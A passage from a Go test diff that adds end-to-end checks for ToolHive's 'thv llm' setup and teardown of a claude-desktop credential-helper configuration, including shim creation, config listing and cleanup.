Expect(doc["inferenceCredentialKind"]).To(Equal("helper-script")) + Expect(doc["inferenceGatewayAuthScheme"]).To(Equal("bearer")) + Expect(doc["inferenceGatewayBaseUrl"]).To(Equal(gatewayURL + "/anthropic")) + Expect(doc["inferenceCredentialHelper"]).To(Equal(shim)) + Expect(doc["inferenceModels"]).To(ConsistOf("claude-opus-4-8", "claude-sonnet-4-6")) + + By("verifying the credential-helper shim is executable and calls thv llm token") + info, statErr := os.Stat(shim) + Expect(statErr).ToNot(HaveOccurred(), "shim should exist after setup") + Expect(info.Mode().Perm()&0100).ToNot(BeZero(), "shim should be executable") + shimData, readErr := os.ReadFile(shim) + Expect(readErr).ToNot(HaveOccurred()) + Expect(string(shimData)).To(ContainSubstring("llm token")) + + By("verifying config show lists claude-desktop in credential-helper mode") + showOut, _ := thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + var cfg llm.Config + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + var found bool + for _, toolCfg := range cfg.ConfiguredTools { + if string(toolCfg.Tool) == "claude-desktop" { + found = true + Expect(toolCfg.Mode).To(Equal("credential-helper")) + } + } + Expect(found).To(BeTrue(), "claude-desktop should appear in ConfiguredTools") + + By("running thv llm teardown claude-desktop") + thvCmd("llm", "teardown", "claude-desktop").ExpectSuccess() + + By("verifying the config document and shim are removed and the selector cleared") + metaData, err := os.ReadFile(filepath.Join(configLib, "_meta.json")) + Expect(err).ToNot(HaveOccurred(), "_meta.json should still exist after teardown") + var meta map[string]any + Expect(json.Unmarshal(metaData, &meta)).To(Succeed()) + Expect(meta["appliedId"]).To(Equal(""), "appliedId should be cleared after teardown") + Expect(meta["entries"]).To(BeEmpty(), "ToolHive entry should be removed after teardown") + _, shimStatErr := os.Stat(shim) + Expect(os.IsNotExist(shimStatErr)).To(BeTrue(), "shim should be deleted after teardown") + + showOut, _ = thvCmd("llm", "config", "show", "--format", "json").ExpectSuccess() + cfg = llm.Config{} + Expect(json.Unmarshal([]byte(showOut), &cfg)).To(Succeed()) + Expect(cfg.ConfiguredTools).To(BeEmpty(), + "ConfiguredTools should be empty after teardown") + }) + }) + Describe("thv llm token with an expired cached access token", func() { It("does not return the expired token", func() { claudeDir := filepath.Join(tempDir, ".claude")